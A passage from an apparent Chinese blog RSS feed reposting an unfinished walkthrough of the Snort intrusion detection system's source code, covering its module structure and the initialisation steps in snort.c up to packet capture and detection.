            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 45pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 12pt"><span>2.<span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp; </span></span></span><font size=3><span>snort</span><span>初始化情形分析</span><span style="FONT-SIZE: 12pt"></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 45pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 12pt"><span>3.<span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp; </span></span></span><font size=3><span>获取一个数据包后预处理和检测情形分析</span><span style="FONT-SIZE: 12pt"></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 45pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 12pt"><span>4.<span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp; </span></span></span><font size=3><span>附录 一 源码中库函数和具体函数详解</span><span style="FONT-SIZE: 12pt"></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 45pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 12pt"><span>5.<span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp; </span></span></span><font size=3><span>附录 二 设计自己的检测算法</span><span style="FONT-SIZE: 12pt"></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>******************************************************************************</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>声明：<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>本文件可以自由传播，不经作者同意不得用于任何商业活动<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>由于本人水平有限，恳请大家不吝赐教，任何批评建议和意见都是给我工作的莫大鼓励<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span style="FONT-SIZE: 10pt; COLOR: black">注：没有把本文写完，一来是自己时间有限，而且水平有限。二来是希望得到读者的批评和建议以对以后的写作有所改进。本文所要达到的目的：熟悉</span><span style="FONT-SIZE: 10pt; COLOR: black">snort </span><span style="FONT-SIZE: 10pt; COLOR: black">，可以根据自己的需求设置自己的</span><span style="FONT-SIZE: 10pt; COLOR: black">snort</span><span style="FONT-SIZE: 10pt; COLOR: black">框架，可以方便的添加不同的算法引擎以验证算法的优劣，也就是建立所谓的</span><span style="FONT-SIZE: 10pt; COLOR: black">test bed</span><span style="FONT-SIZE: 10pt; COLOR: black">。由于是针对做研究实验用的，没有太多的商业价值。最后由于</span><span style="FONT-SIZE: 10pt; COLOR: black">snort</span><span style="FONT-SIZE: 10pt; COLOR: black">具有很好的编程风格，笔者想通过这一途径学习期优秀的编程方法</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>个人简历：<span></span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>He Jialang<span> </span>Male<span> </span>1984.8<span> </span></font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><font size=3><st1:place><st1:city><span>nanjing</span></st1:city></st1:place><span> university of science &amp; technology<span> </span>(NJUST) </span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>working for Ph.d<span> </span>at information security / IDS in Ad hoc network</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>studying in IDS Ad hoc network/snort implementation/ FreeBSD OS implementation /</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>related works : Date Mining / WaveLet / IA / statistics of random processes</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>email/MSN <span></span>: </font><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#106;&#105;&#97;&#108;&#97;&#110;&#103;&#104;&#101;&#64;&#104;&#111;&#116;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;"><font color=#0000ff size=3><u>jialanghe@hotmail.com</u></font></a><font size=3><span> </span>or hejialang@gmail.com</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3></font></span></p>
            <p><span style="FONT-SIZE: 12pt"><br style="PAGE-BREAK-BEFORE: always" clear=all></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><span style="FONT-SIZE: 12pt">一 </span><font size=3><span>snort</span><span>基本框架<span></span></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span style="FONT-SIZE: 10pt">Snort</span><span style="FONT-SIZE: 10pt">包括主控模块（</span><span style="FONT-SIZE: 10pt">snort.c</span><span style="FONT-SIZE: 10pt">），包捕获模块，包解码模块（</span><span style="FONT-SIZE: 10pt">decode.c</span><span style="FONT-SIZE: 10pt">），规则处理模块（</span><span style="FONT-SIZE: 10pt">rule.c</span><span style="FONT-SIZE: 10pt">），</span><span style="FONT-SIZE: 10pt"> </span><span style="FONT-SIZE: 10pt">预处理模块（</span><span style="FONT-SIZE: 10pt">spp_*.c</span><span style="FONT-SIZE: 10pt">）</span><span style="FONT-SIZE: 10pt">,</span><span style="FONT-SIZE: 10pt">处理模块（</span><span style="FONT-SIZE: 10pt">sp_ *.c</span><span style="FONT-SIZE: 10pt">）</span><span style="FONT-SIZE: 10pt">, </span><span style="FONT-SIZE: 10pt">输出模块。</span><span style="FONT-SIZE: 10pt"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span style="FONT-SIZE: 10pt">主控模块实现模块和全局变量的初始化，通过读取命令行参数进行一些设置。然后调用包捕获函数，之后进行解码，处理，匹配等操作。下面是</span><span style="FONT-SIZE: 10pt">snort</span><span style="FONT-SIZE: 10pt">运行的流程：</span><span style="FONT-SIZE: 10pt"></span></p>
            <p><span><font face="Times New Roman"><img style="WIDTH: 569px; HEIGHT: 593px" height=260 src="http://blogimg.chinaunix.net/blog/upfile/071017105117.jpg" width=469></font></span></p>
            <span>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: center" align=center><span style="FONT-SIZE: 12pt">二 </span><font size=3><span>snort</span><span>初始化情形分析</span><span style="FONT-SIZE: 12pt"></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 12pt">下面就从程序的入口分析，具体说明程序如何完成初始化的。<span></span></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>在说明初始化过程之前，我们要明确什么是需要初始化的。</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span><span><font face="Times New Roman"><font size=3>1.</font><span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></span></span><font size=3><span>要初始化</span><span><font face="Times New Roman">snort</font></span><span>运行的模式，</span><span><font face="Times New Roman">pass</font></span><span>、</span><span><font face="Times New Roman">log</font></span><span>、</span><span><font face="Times New Roman">or alert</font></span><span>。</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span><span><font face="Times New Roman"><font size=3>2.</font><span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></span></span><span><font size=3>要确定网络的链路</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span><span><font face="Times New Roman"><font size=3>3.</font><span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></span></span><span><font size=3>要形成规则树用于匹配</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; TEXT-ALIGN: left" align=left><span><span><font face="Times New Roman"><font size=3>4.</font><span style="FONT-WEIGHT: normal; FONT-SIZE: 7pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></span></span><font size=3><span>要设定好响应模式</span><span><font face="Times New Roman"> </font></span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span><font size=3>下面具体看一些初始化：</font></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><font size=3><span><span><font face="Times New Roman"></font></span></span><span>我们从</span><span><font face="Times New Roman">main.c</font></span><span>（</span><span><font face="Times New Roman">snort.c</font></span><span>）开始。（请对照源码看）</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><font size=3><span>开始是初始化信号处理，子网掩码，抓包数量（</span><span><font face="Times New Roman">/* initialize the packet counter to loop forever */ <span>&nbsp;&nbsp;&nbsp;&nbsp;</span>pv.pkt_cnt = -1;</font></span><span>）等。接下来调用的是处理命令行参数，根据用户输入的命令行参数具体初始化</span><font face="Times New Roman"> <span>--------ParseCmdLine(argc, argv);----------- </span></font><span>该函数解析命令行参数，然后设置全局变量</span><span><font face="Times New Roman">pv</font></span><span>，这个函数十分的简单，大家可以看看源代码</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><font size=3><span><span><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span><span>然后打开</span><span><font face="Times New Roman">raw socket<span> </span></font></span><span>：</span><font face="Times New Roman"> <span>libnet_open_raw_sock(IPPROTO_RAW) </span></font><span>其中</span><font face="Times New Roman"> <span>IPPROTO_RAW</span></font><span>意味着</span><span><font face="Times New Roman"> IP_HDRINCL </font></span><span>处于激活状态，也意味着接收所有</span><span><font face="Times New Roman"> IP </font></span><span>协议</span><span><font face="Times New Roman">. </font></span><span>这个可以不管，只要知道这个就是打开接受</span><span><font face="Times New Roman">IP</font></span><span>包的开关就好了。</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><font size=3><span>接下来是通过对</span><span><font face="Times New Roman">pv.readmode_flag</font></span><span>的判断决定是从网络接口还是从文件接受数据包，具体表现为</span><span><span><font face="Times New Roman"> </font></span></span><span>语句</span><font face="Times New Roman"> <span>/* open up our libpcap packet capture interface */ <span></span>OpenPcap(pv.interface); </span></font><span>和语句</span><font face="Times New Roman"> <span>OpenPcap(pv.readfile); </span></font><span>（二者通过</span><span><font face="Times New Roman">if</font></span><span>语句选其一）。</span></font></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><font size=3><span><span><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span><span>然后</span><span><font face="Times New Roman">/*</font></span><span>创建一个保存进程标识等相关信息的文件</span><span><font face="Times New Roman">*/ <span>&nbsp;&nbsp;</span>CreatePidFile(pv.interface); </font></span><span>接下来做一些相关目录检查，是否记录日志，是否进入</span></font><span style="FONT-SIZE: 10pt">daemon</span><span style="FONT-SIZE: 10pt; COLOR: black">模式</span><span style="FONT-SIZE: 10pt; COLOR: black"> </span><span style="FONT-SIZE: 10pt; COLOR: black">等。</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>SetPktProcessor();</span><span style="FONT-SIZE: 10pt; COLOR: black">设置端口的解码函数，然后如果应用规则（</span><span style="FONT-SIZE: 10pt; COLOR: black">if (pv.use_rules) </span><span style="FONT-SIZE: 10pt; COLOR: black">）</span><span style="FONT-SIZE: 10pt; COLOR: black"> </span><span style="FONT-SIZE: 10pt; COLOR: black">就安装相关插件</span><span style="FONT-SIZE: 10pt; COLOR: black"> <span>InitPreprocessors(); </span></span><span style="FONT-SIZE: 10pt; COLOR: black">安装预处理插件</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span></span>InitPlugIns();<span> </span></span><span style="FONT-SIZE: 10pt; COLOR: black">安处理插件</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span></span><span>&nbsp;&nbsp;</span>InitOutputPlugins(); </span><span style="FONT-SIZE: 10pt; COLOR: black">安装输出插件</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black">通过</span><span style="FONT-SIZE: 10pt; COLOR: black">ParseRulesFile </span><span style="FONT-SIZE: 10pt; COLOR: black">处理规则文件，然后是加入相关</span><span style="FONT-SIZE: 10pt; COLOR: black">log </span><span style="FONT-SIZE: 10pt; COLOR: black">，</span><span style="FONT-SIZE: 10pt; COLOR: black">alert</span><span style="FONT-SIZE: 10pt; COLOR: black">的处理函数（通过</span><span style="FONT-SIZE: 10pt; COLOR: black">AddFuncToOutputList </span><span style="FONT-SIZE: 10pt; COLOR: black">函数加入）。</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black">呵呵，到这里初始化工作就结束了。</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: left" align=left><span style="FONT-SIZE: 10pt; COLOR: black">接下来就是</span><span style="FONT-SIZE: 10pt; COLOR: black"><span>&nbsp;&nbsp; </span>pcap_loop(pd, pv.pkt_cnt, (pcap_handler)ProcessPacket, NULL) </span><span style="FONT-SIZE: 10pt; COLOR: black">捕获并处理数据包了，</span><span style="FONT-SIZE: 10pt; COLOR: black"> ProcessPacket</span><span style="FONT-SIZE: 10pt; COLOR: black">就是处理数据包的回调函数。所有的检测过程都是在这个函数中完成的。首先</span><span style="FONT-SIZE: 10pt; COLOR: black">ProcessPacket</span><span style="FONT-SIZE: 10pt; COLOR: black">调用解码和预处理函数，然后调用规则检测函数</span><span style="FONT-SIZE: 10pt; COLOR: black">Detect</span><span style="FONT-SIZE: 10pt; COLOR: black">（），然后通过规则树查找函数找到相应的规则列表，规则头匹配，规则选项匹配，产生告警，记录日志</span><span style="FONT-SIZE: 10pt; COLOR: black">&#8230;.</span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: center" align=center><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; TEXT-ALIGN: center" align=center><span style="FONT-SIZE: 10pt; COLOR: black">精彩内容，请带下回分解</span><span style="FONT-SIZE: 10pt; COLOR: black"></span></p>
            <p><span style="FONT-SIZE: 10pt; COLOR: black"><br style="PAGE-BREAK-BEFORE: always" clear=all></span></p>
            <p class=MsoNormal style="MARGIN: 0cm 0cm 0pt 27pt; TEXT-ALIGN: center" align=center><span style="FONT-SIZE: 10pt; COLOR: black">三</span><span style="FONT-SIZE: 10pt; COLOR: black"> </span><span><font size=3>获取一个数据包后预处理和检测情形分析</font></span></p>
            </span></div>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.cppblog.com/iniwf/aggbug/77469.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-03-22 11:37 <a href="http://www.cppblog.com/iniwf/archive/2009/03/22/77469.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>snort源码分析</title><link>http://www.cppblog.com/iniwf/archive/2009/03/22/77468.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 22 Mar 2009 03:36:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/03/22/77468.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/77468.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/03/22/77468.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/77468.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/77468.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://hi.baidu.com/freeze9527/blog/item/4cae511ff1debfcca786699d.html                                    序：1． 包捕获模块2． &nbsp;&nbsp;&nbsp;包解码模块3． &nbsp;&nbsp;&nbsp;预处理模块4． &nbsp;&nbsp;&nbsp...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/03/22/77468.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/77468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-03-22 11:36 <a href="http://www.cppblog.com/iniwf/archive/2009/03/22/77468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>